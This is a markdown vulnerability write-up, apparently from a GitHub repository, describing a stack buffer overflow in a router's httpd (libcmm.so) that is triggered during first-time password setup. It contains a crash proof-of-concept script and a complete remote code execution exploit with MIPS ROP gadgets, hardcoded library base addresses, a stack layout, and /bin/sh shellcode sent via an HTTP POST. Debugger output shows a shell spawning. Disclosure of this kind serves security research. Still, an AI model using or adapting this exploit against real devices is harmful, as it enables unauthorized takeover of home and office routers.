Skip to content

Latest commit

 

History

History
208 lines (151 loc) · 6.83 KB

3.md

File metadata and controls

208 lines (151 loc) · 6.83 KB

*Affected version*

img

*Description*

There is a buffer overflow when HTTP body message is parsed by httpd process, which may lead to remote code execution. For example, When we set the router password for the first time, the http daemon did not verify the external http message. If we transmit a long user name or password, it will cause the httpd process access to illegal address.

img

The instruction where the error occurred is libcmm.so

img

Crash log

img

*Vulnerability analysis*

Through the tracking of data flow, we found that the problem occurred in the following code

img

v21 variable stores the value corresponding to each key-value pair (such as user name and password),The length of the variable v26 is only 1304 bytes. When we are exploiting the vulnerability, we also need to pay attention to the 96 lines of code that will cause a crash due to buffer overflow.

*How to Reproduce (PoC)*

It is easy to reproduce this problem.

# Only after resetting the router or using the router for the first time, can the script work effectively!import requests

headers = {

​ "Host": "192.168.0.1",

​ "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",

​ "Accept": "/",

​ "Accept-Language": "en-US,en;q=0.5",

​ "Accept-Encoding": "gzip, deflate",

​ "Content-Type": "text/plain",

​ "Content-Length": "78",

​ "Origin": "http://192.168.0.1",

​ "Connection": "close",

​ "Referer": "http://192.168.0.1/"

}

payload = "a" * 512 + "b" * 1024formdata = "[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\nname={}\r\noldPwd=admin\r\npwd=lys123\r\n".format(payload)

url = "http://192.168.0.1/cgi?8"

response = requests.post(url, data=formdata, headers=headers)print response.text

img

How to Exploit (exp) In libuclibc-0.9.33.so, find the widget that can jump to the sleep function, and this widget can assign a value to the RA register, which is convenient to control the instruction that the return address points to.

gadget 1

.text:000369E4 move $t9, $s0 .text:000369E8 lw $ra, 0x24($sp) .text:000369EC lw $s0, 0x20($sp) .text:000369F0 addiu $a0, 0xC .text:000369F4 jr $t9 .text:000369F8 addiu $sp, 0x28 Look for instructions that can store the stack address in the register. The stack address is the shellcode address.

gadget 2

.text:00058894 addiu $a1, $sp, 0x34 .text:00058898 move $t9, $s0 .text:0005889C jalr $t9 Jump to stack to execute code.

gadget 3

.text:0003FD8C move $t9, $a1 .text:0003FD90 move $a1, $a2 .text:0003FD94 jr $t9 Stack layout

┌─────────────┐◄───── sp │ │ │ │ ├─────────────┤◄───── sp + 0x68 # │ v26 │ ├─────────────┤ │ │ │ │ │ │ │ │ │ │ │ │ ├─────────────┤◄───── sp + 0x580 # 0x5880a764 │ v27 │ ├─────────────┤◄───── sp + 0x584 │ v28 │ ├─────────────┤◄───── sp + 0x588 # sleep │ s0 │ ├─────────────┤ │ │ │ │ ├─────────────┤◄───── sp + 0x5ac # gadget 1 │ ra │ ├─────────────┤◄───── sp1 = sp + 0x5b0 │ │ │ │ ├─────────────┤◄───── sp1 + 0x20 # gadget 3 │ s0 │ ├─────────────┤◄───── sp1 + 0x24 # gadget 2 │ ra │ ├─────────────┤◄───── sp2 = sp1 + 0x28 │ │ │ │ ├─────────────┤◄───── sp2 + 0x34 # shellcode │ shellcode │ └─────────────┘ payload

payload = b'a' * (0x580 - 0x68) payload += p32(file_base + 0xa780) # v27 payload += b'b' * 4 payload += p32(libuclibc_base + 0x56D20) # s0 payload += b'c' * (0x5ac - 0x588 - 0x4) payload += p32(libuclibc_base + gadget_1) # ra = gadget

payload += b'd' * 0x20 payload += p32(libuclibc_base + gadget_3) payload += p32(libuclibc_base + gadget_2) payload += b'e' * 0x34 result

gef➤ c Continuing. process 444 is executing new program: /bin/busybox Reading /bin/busybox from remote target... Reading /bin/busybox from remote target... Reading /lib/ld-uClibc.so.0 from remote target... Reading /lib/ld-uClibc.so.0 from remote target... exp

Only after resetting the router or using the router for the first time, can the script work effectively!

import requests from pwn import *

headers = { "Host": "192.168.0.1", "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Accept": "/", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "text/plain", "Content-Length": "78", "Origin": "http://192.168.0.1", "Connection": "close", "Referer": "http://192.168.0.1/" }

libcmm_base = 0x2b985000 file_base = 0x58800000 libuclibc_base = 0x2bcdf000

gadget_1 = 0x000369E4 gadget_2 = 0x00058894 gadget_3 = 0x0003FD8C

shellcode = "\x66\x06\x06\x24" + "\xff\xff\xd0\x04" + "\xff\xff\x06\x28" + "\xe0\xff\xbd\x27"+ "\x01\x10\xe4\x27" + "\x1f\xf0\x84\x24" + "\xe8\xff\xa4\xaf"+ "\xec\xff\xa0\xaf" + "\xe8\xff\xa5\x27"+ "\xab\x0f\x02\x24" + "\x0c\x01\x01\x01"+ "/bin/sh"

payload = b'a' * (0x580 - 0x68) payload += p32(file_base + 0xa780) # v27 payload += b'b' * 4 payload += p32(libuclibc_base + 0x56D20) # s0 payload += b'c' * (0x5ac - 0x588 - 0x4) payload += p32(libuclibc_base + gadget_1) # ra = gadget

payload += b'd' * 0x20 payload += p32(libuclibc_base + gadget_3) payload += p32(libuclibc_base + gadget_2) payload += b'e' * 0x34

payload += shellcode

str_payload = ""

for p in payload: str_payload += chr(p)

formdata = "[/cgi/auth#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\nname=admin\r\noldPwd=admin\r\npwd={}\r\n".format(str_payload)

url = "http://192.168.0.1/cgi?8" response = requests.post(url, data=formdata, headers=headers) print(formdata) print(response.text)